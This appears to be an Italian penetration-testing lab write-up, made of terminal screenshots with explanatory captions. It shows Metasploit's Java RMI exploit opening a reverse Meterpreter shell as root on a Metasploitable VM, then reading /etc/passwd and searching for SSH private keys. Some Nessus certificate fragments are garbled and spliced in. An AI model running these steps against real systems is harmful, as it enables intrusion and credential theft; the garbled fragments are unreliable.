

File Actions Edit View Help

```
└─(kali@kali)-[~]
```

```
Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > search java_rmi
```

Matching Modules

Metasploit Documentation: <https://docs.metasploit.com/>

msf6 > search java_rmi

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
1	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
2	auxiliary/scanner/misc/java_rmi_server_scanner	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
3	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

Interact with a module by name or index. For example `info 3`, use 3 or use `exploit/multi/browser/java_rmi_connection_impl`

```
msf6 > use exploit/multi/misc/java_rmi_server
```

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Module options (exploit/multi/misc/java_rmi_server):

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the HTTP Server will wait for the payload request
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	1099	yes	The target port (TCP)
SRVHOST	0.0.0.0	yes	The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT	8080	yes	The local port to listen on.
SSL	false	no	Negotiate SSL for incoming connections
SSLCert		no	Path to a custom SSL certificate (default is randomly generated)
URIPATH		no	The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
```

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112  
RHOSTS => 192.168.11.112
```

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

```
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/rPJ7H1Kn
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:42418) at 2024-09-05 13:56:57 -0400
```

Published: 2019/12/15, Modified: 2020/04/27

plugin/output

tcp/25/sntp

The following certificate was part of the certificate chain

WARNING: A call, returned by the function ssl_get_peer_certificate


```
meterpreter > webcam_list
```

```
[*] The "webcam_list" command is not supported by this Meterpreter type (java/linux)
```

```
meterpreter > ifconfig
```

Interface 1

```
Name           : lo - lo
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 127.0.0.1
IPv4 Netmask    : 255.0.0.0
IPv6 Address    : ::1
IPv6 Netmask    : ::
```

Interface 2

```
Name           : eth0 - eth0
Hardware MAC    : 00:00:00:00:00:00
IPv4 Address    : 192.168.11.112
IPv4 Netmask    : 255.255.255.0
IPv6 Address    : fe80::a00:27ff:fe8d:17a0
IPv6 Netmask    : ::
```

The following certificate was
sent by the remote host, but is

```
|-----|
|Subject : CN=www.there-is-no-|
|Compilation-of-Otherwise-Sim-|
|ilar-LocalDomain|
|-----|
|Exp After : Apr 16 14:07:45 2|
```

The following certificate was
sent by the remote host,
certificate authority:

```
|-----|
|Subject : CN=www.there-is-no-|
|Compilation-of-Otherwise-Sim-|
|ilar-LocalDomain|
|-----|
|Issued : Apr 16 14:07:45 2014|
|Expiration : Apr 16 14:07:45 2014|
```

```
meterpreter > sysinfo
```

```
Computer      : metasploitable  
OS            : Linux 2.6.24-16-server (i386)  
Architecture  : x86  
System Language : en_US  
Meterpreter   : java/linux
```

```
meterpreter > getuid
```

```
Server username: root
```

File Actions Edit View Help

File	Actions	Edit	View	Help
unix	3	[]		STREAM CONNECTED 12681
unix	3	[]		STREAM CONNECTED 12468
unix	3	[]		STREAM CONNECTED 12467
unix	3	[]		STREAM CONNECTED 12466
unix	3	[]		STREAM CONNECTED 12465
unix	2	[]		DGRAM 12446
unix	2	[]		DGRAM 12404
unix	2	[]		DGRAM 12188
unix	2	[]		DGRAM 11979
unix	2	[]		DGRAM 11695
unix	2	[]		DGRAM 11427
unix	2	[]		DGRAM 11422
unix	2	[]		DGRAM 11210
unix	2	[]		DGRAM 11181
unix	3	[]		STREAM CONNECTED 10437
unix	3	[]		STREAM CONNECTED 10436

ps

PID	TTY	TIME	CMD
1	?	00:00:02	init
2	?	00:00:00	kthreadd
3	?	00:00:00	migration/0
4	?	00:00:00	ksoftirqd/0
5	?	00:00:00	watchdog/0
6	?	00:00:00	events/0
7	?	00:00:00	khelper
41	?	00:00:00	kblockd/0
44	?	00:00:00	kacpid
45	?	00:00:00	kacpi_notify
91	?	00:00:00	kseriod
130	?	00:00:00	pdflush
131	?	00:00:00	pdflush
132	?	00:00:00	kswapd0
174	?	00:00:00	aio/0
1130	?	00:00:00	ksnapd
1313	?	00:00:00	ata/0
1314	?	00:00:00	ata_aux
1323	?	00:00:00	scsi_eh_0
1327	?	00:00:00	scsi_eh_1
1351	?	00:00:00	ksuspend_usbd
1359	?	00:00:00	khubd
2066	?	00:00:00	scsi_eh_2
2270	?	00:00:00	kjournald

Plugin Information

Published: 2010/12/15, 11:00

Plugin Output

scp/25/sntp

The following certificate chain was sent by the remote host:

Received: a X.509 certificate
 Compilation of internal
 base64-encoded
 1-Header: a X.509 certificate
 Compilation of internal
 base64-encoded

The following certificate chain was sent by the remote host:

Received: a X.509 certificate
 Compilation of internal
 base64-encoded
 1-Header: a X.509 certificate
 Compilation of internal
 base64-encoded


```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
█
```

```
val
vmlinuz
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
```

[*] core_channel_interact: Operation failed: 1

meterpreter > getwd

/

meterpreter > search -f id_rsa

Found 1 result ...

<u>Path</u>	<u>Size (bytes)</u>	<u>Modified (UTC)</u>
/home/msfadmin/.ssh/id_rsa	1675	2010-05-17 21:43:18 -0400

meterpreter > whoami

[*] Unknown command: whoami

meterpreter > shell

Process 1 created.

Channel 1 created.

netstat -rn

Kernel IP routing table

Destination	Gateway	Genmask	Flags	MSS	Window	irtt	Iface
192.168.11.0	0.0.0.0	255.255.255.0	U	0	0	0	eth0

route -n

Kernel IP routing table

Destination	Gateway	Genmask	Flags	Metric	Ref	Use	Iface
192.168.11.0	0.0.0.0	255.255.255.0	U	0	0	0	eth0

```
meterpreter > shell
```

```
Process 2 created.
```

```
Channel 2 created.
```

```
whoami
```

```
root
```

```
pwd
```

```
/
```


Avvio del Servizio Nessus e della Console Metasploit

Mostra l'avvio del servizio Nessus e l'apertura della console Metasploit ("msfconsole") su Kali Linux.

Ricerca di Exploit per Java RMI

Visualizza il comando "search java rmi" in Metasploit. Identificazione di vari moduli exploit disponibili per attaccare server Java RMI vulnerabili, che consente di scegliere il modulo adatto per l'exploit.

Selezione e Configurazione del Modulo Exploit

Mostra la selezione del modulo "exploit/multi/misc/java_rmi_server" e la configurazione delle opzioni di exploit. Configurazione dell'host remoto (RHOSTS) e della porta (RPORT) per preparare l'attacco mirato al server vulnerabile.

Raccolta di Informazioni sulla Configurazione di Rete

Mostra l'uso del comando “ifconfig” all'interno di Meterpreter. Visualizzazione delle configurazioni di rete, inclusi gli indirizzi IP e le Subnetmask delle interfacce, fornendo informazioni essenziali sull'infrastruttura di rete del target.

Verifica delle Connessioni di Rete e dei Processi Attivi

Utilizzo dei comandi “netstat” e “ps” dalla shell del sistema compromesso. Netstat visualizza le connessioni di rete attive e i socket UNIX, mentre “ps” elenca i processi in esecuzione, consentendo di identificare servizi e applicazioni in esecuzione sul target.

Navigazione del File System e Visualizzazione di File Sensibili

Mostra l'esplorazione del file system (“ls”) e la visualizzazione del contenuto del file “/etc/passwd”. Raccoglie informazioni sugli utenti di sistema e sulle directory, cercando potenziali informazioni sensibili che possano essere utilizzate per ulteriori exploit.

Ricerca di File Sensibili come Chiavi SSH

Esecuzione del comando “search -f id_rsa” per trovare file chiave SSH. Viene trovato un file “id_rsa” che potrebbe essere utilizzato per accedere ad altri sistemi.

Visualizzazione della Tabella di Routing della Macchina Vittima

Visualizzazione della tabella di routing con il comando “route”. Mostra le configurazioni di rete, configurate sia per IPv4 che per IPv6, fornendo una comprensione di come il traffico viene immesso sulla macchina vittima.

Queste attività di penetration testing sono mirate a compromettere un server Java RMI mal configurato e a raccogliere informazioni sensibili sulla macchina remota compromessa. Utilizzando Metasploit e Meterpreter, siamo stati in grado di raccogliere dettagli sulla configurazione di rete, la tabella di routing, i processi in esecuzione e i file sensibili. Questo esempio mi fa dedurre l'importanza di configurare in modo sicuro i servizi di rete e di implementare misure di sicurezza adeguate per prevenire accessi non autorizzati e la potenziale esportazione di dati sensibili.